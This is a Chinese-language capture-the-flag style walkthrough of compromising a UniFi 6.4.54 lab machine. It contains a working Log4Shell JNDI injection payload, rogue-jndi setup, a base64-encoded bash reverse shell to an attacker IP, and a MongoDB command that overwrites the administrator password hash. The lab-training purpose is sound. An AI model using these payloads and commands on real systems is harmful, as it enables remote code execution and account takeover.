端口扫描 log4j mongodb提权
nmap -sC -sV -T3 -v 10.129.170.120
扫描得知靶机开放了四个端口
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
6789/tcp open ibm-db2-admin?
8080/tcp open http-proxy
8443/tcp open ssl/nagios-nsca Nagios NSCA
并且根据扫描结果可以看出访问8080端口时会重定向到8443端口
访问一下8080端口,果然网页重定向到了8443端口,页面是一个unifi的登陆页面,unifi的版本是6.4.54
先简单尝试下弱口令和万能密码,发现都登不上去
这时候就要想到了既然给了一个cms框架,也知道具体版本,那么就可以去搜索一下这个版本的unifi有没有什么cve
果然,通过Google得知unifi 6.4.54存在漏洞CVE-2021-44228,是一个log4j漏洞
接下来就要验证这个网站是否真的存在这个漏洞
使用burp或者开发者工具抓取登录时的数据包,同时使用tcpdump抓取攻击机tun0的389端口
sudo tcpdump -i tun0 port 389
编辑登录数据包,在data的remember字段中把flase改成"${jndi:ldap://{tun0_ip}/whatever}"
,重新发送数据包
这时在我们监听的389端口就收到了数据报文,证明网站存在log4j漏洞
在进行漏洞利用前,要先配置好漏洞利用环境
首先先安装jdk,之后再使用sudo apt-get install maven
命令安装mvn
安装mvn是用于编译rogue-jndi
什么是rogue-jndi?
rogue-jndi会开启一个本地的LDAP服务器,允许我们接收来自有漏洞的服务器的连接并执行恶意代码
关于log4j漏洞原理复现可以参考这篇文章https://cloud.tencent.com/developer/article/1922132
安装rogue-jndi工具并编译
git clone https://github.com/veracode-research/rogue-jndi
cd rogue-jndi
mvn package
出现build success即编译成功
这时target目录下就有了RogueJndi-1.1.jar,也是我们进行漏洞利用时会用到的程序
在使用RogueJndi-1.1.jar前先看看它支持哪些参数
可以看到它的–command后面就跟想要执行的系统命令,我们就可以写一个反弹shell了
同时为了数据再传输过程中不丢失,我们对反弹shell命令进行base64编码
echo "/bin/bash -c '/bin/bash -i >&/dev/tcp/10.10.14.179/4444 0>&1'" | base64
这样就得到了base64加密后的shell
接下来使用RogueJndi-1.1.jar并监听4444端口
java -jar target/RogueJndi-1.1.jar --command "bash -c {echo,L2Jpbi9iYXNoIC1jICcvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNC4xNzkvNDQ0NCAwPiYxJwo=}|{base64,-d}|{bash,-i}" --hostname "10.10.14.179"
我们可以利用tomcat,修改之前的payload,将修改好后的payload放入remember字段,发送
成功getshell
使用ps aux
查看系统有哪些进程,发现27117端口存在mongodb数据库
因为mongodb是NOsql数据库,使用系统命令查看数据库用户
发现存在administrator,但是由于密码是进过sha512加密后的结果,我们并不能直接得到密码
同时由于加密强度很高,我们只能通过hash碰撞破解密码,但是成功率也很低
这时想到可以把administrator的密码修改成弱密码如password
先使用mkpasswd -m sha-512 password
命令,得到password的sha512加密后的值
将administrator的密码修改为password
mongo --port 27117 ace --eval 'db.admin.update({"_id":ObjectId("61ce278f46e0fb0012d47ee4")},{$set:{"x_shadow":"$6$hwb9W.VC28pwXtPT$N8DRe.81H.wB3NN5Ac/5zhGdQkKAibE/i/7I6kvKaVbWGYApa9EghEhtyqtz39qS6x6oDNRNo5z9Nk9m2VMio0"}})'
查看修改结果,修改成功
再使用修改后的密码登录网站,登录成功
后台设置里看到ssh密码
ssh远程连接后以为root用户,提权成功